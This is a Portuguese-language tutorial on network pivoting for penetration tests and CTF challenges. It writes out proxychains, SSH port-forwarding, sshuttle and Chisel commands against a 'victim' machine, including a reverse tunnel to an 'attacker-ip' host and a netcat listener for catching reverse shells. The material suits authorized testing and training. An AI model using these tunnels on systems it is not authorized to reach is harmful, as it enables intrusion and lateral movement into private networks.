
Um guia compacto sobre pivô de rede para testes de penetração / desafios CTF.
Não use requisições de eco ICMP (ping) para testar proxies SOCKS.
SOCKS é um protocolo da Internet que troca pacotes de rede entre um cliente e um servidor por meio de um servidor proxy. Na prática, um servidor SOCKS faz proxy de conexões TCP para um endereço IP arbitrário e fornece um meio para que pacotes UDP sejam encaminhados.
Você deve testá-lo usando um protocolo baseado em TCP (por exemplo, tente usar SSH ou envie uma requisição HTTP GET para um host através do túnel de pivoting).
O NMAP deve ser usado com varredura de conexão TCP (-sT) e sem ping (-Pn)
Isso também se aplica às varreduras de versão (-sV) e de scripts (-sC). Eles devem ser usados em combinação com -sT e -Pn.
Exemplos:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
Dica: Você pode enviar o naabu para a máquina da vítima e escanear como um chefe.
Usando scripts e binários com proxychains
Uma dica para usar o proxychains é garantir que, se você estiver executando um programa interpretado (como um script Python), seja uma boa ideia referenciar explicitamente o binário do Python antes do script, mesmo que o script comece com um hash bang, por exemplo:
proxychains4 [-q -f proxychains.conf] python python_script.py
Sem essa referência específica ao interpretador do script, às vezes o tráfego gerado pelo script não será roteado pelo proxy como você pretendia, e a conexão de rede falhará. Fonte da Dica
Descomente a linha "quite mode" no /etc/proxychains.conf para evitar um stdout que pode ser frustrante às vezes.
Isso é apenas uma sugestão.
Permite criar um socket na máquina local (cliente ssh), que atua como um servidor proxy SOCKS. Quando um cliente se conecta a essa porta, a conexão é encaminhada para a máquina remota (servidor ssh), de onde é então encaminhada para uma porta dinâmica na máquina de destino.
Como configurar:
Edite o /etc/proxychains.conf e implemente o seguinte:
Configure o Redirecionamento Dinâmico de Portas via SSH:
ssh -D 127.0.0.1:9050 user@victim-IP
Exemplos de uso:
Com x.x.x.x sendo o endereço IP de um host que pertence à rede tunelada:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
Para usar o firefox através do túnel:
proxychains firefox
Se você está procurando como obter uma reverse shell através de um túnel de pivoting, é disso que você precisa. Ele permite encaminhar uma porta na máquina remota (vítima) para uma porta na máquina local (atacante).
Como configurar:
Conecte-se via SSH à máquina da vítima.
Edite o /etc/ssh/sshd_config e implemente o seguinte:
*Isso é muito importante e muitos guias na internet não mencionam isso. Se você não fizer isso, só conseguirá configurar o túnel em 127.0.0.1 em vez de 0.0.0.0, o que acabará não encaminhando o tráfego quando ele se originar de qualquer host, exceto localhost.
sudo service ssh restartConfigure o Redirecionamento Remoto de Portas via SSH:
Essencialmente, depois de configurá-lo como mencionado, o comando é tão simples quanto isso:
ssh -R 2222:*:2222 user@victim-IP
Para testar se funciona, você pode fazer o seguinte:
Configure um listener (por exemplo, netcat) na sua máquina atacante (na porta que você configurou para o redirecionamento remoto, neste exemplo 2222) e faça uma requisição da máquina da vítima para ela mesma (localhost). Neste exemplo, seria nc 127.0.0.1 2222. Se a sua máquina atacante receber a conexão, isso significa que a) funciona e b) toda conexão dos hosts de pivoting para victimip:2222 será encaminhada para a máquina atacante.
Você pode configurar várias portas assim:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
Atenção: As requisições de hosts externos (rede de pivoting) devem ser direcionadas ao IP da vítima para serem encaminhadas de volta para a máquina atacante.
*Você também pode implementar o Redirecionamento Remoto de Portas conectando-se via SSH da máquina da vítima para a máquina atacante.
O redirecionamento local de portas permite encaminhar uma porta na máquina local (atacante) para uma porta na máquina remota (vítima). Particularmente útil para escanear portas locais na vítima.
Uso:
ssh user@victim-IP -L 8888:127.0.0.1:8086
Agora você pode usar, por exemplo, o nmap para escanear a porta 8086 na máquina da vítima assim:
nmap -Pn -n -p8888 -sV 127.0.0.1
Um exemplo de como implementar pivoting duplo com Redirecionamento Dinâmico de Portas via SSH e Proxychains.
Conceito:
Suponha que temos as seguintes 4 máquinas.
| IP | Função |
|---|---|
| 10.10.10.10 | Atacante |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
O atacante pode alcançar o Jumphost1.
O Jumphost1 pode alcançar o Jumphost2.
O Jumphost2 pode alcançar o Jumphost3.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
Agora você deve conseguir alcançar o Jumphost3.
O sshuttle permite criar uma conexão VPN da sua máquina para qualquer servidor remoto via ssh, desde que esse servidor tenha python 2.3 ou superior. Para funcionar, você deve ter acesso root na máquina local, mas pode ter uma conta normal no servidor. É válido executar o sshuttle mais de uma vez simultaneamente em uma única máquina cliente, conectando-se a um servidor diferente a cada vez, para que você possa estar em mais de uma VPN ao mesmo tempo. Consulte o repositório do sshuttle no github.
Uso:
Supondo que queremos fazer pivoting para 172.16.2.0/16:
sshuttle -vvr root@victim 172.16.2.0/16
Se você quiser usar chave ssh:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
O Chisel é um túnel TCP/UDP rápido, transportado por HTTP, protegido por SSH. Um único executável que inclui tanto o cliente quanto o servidor. Escrito em Go (golang). É insanamente incrível e útil.
Instalação:
Você pode instalar facilmente o chisel no kali:
apt install chisel
Para usá-lo, você também precisa enviar o binário do chisel para a vítima. Você pode baixar versões pré-compiladas aqui.
Exemplo de redirecionamento local de portas
Na sua máquina atacante:
chisel server -p 8000 --reverse
Na máquina da vítima:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
Isso vai encaminhar o tráfego da porta 1234 da máquina atacante para a porta 8443 da máquina da vítima.
O Burpsuite suporta a capacidade de configurar proxies, um recurso incrivelmente útil e poderoso.
Como configurar:
Abra o Burpsuite e implemente o seguinte:
Em combinação com a configuração de um Redirecionamento Dinâmico de Portas via SSH ou sshuttle, você agora pode usar o Burpsuite para fazer pivoting do tráfego para os hosts desejados, enviando tráfego para a sua porta de binding no localhost. Um exemplo útil com brute de diretórios do gobuster através do túnel (Supondo que você configurou a porta 2222 como a porta de redirecionamento):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt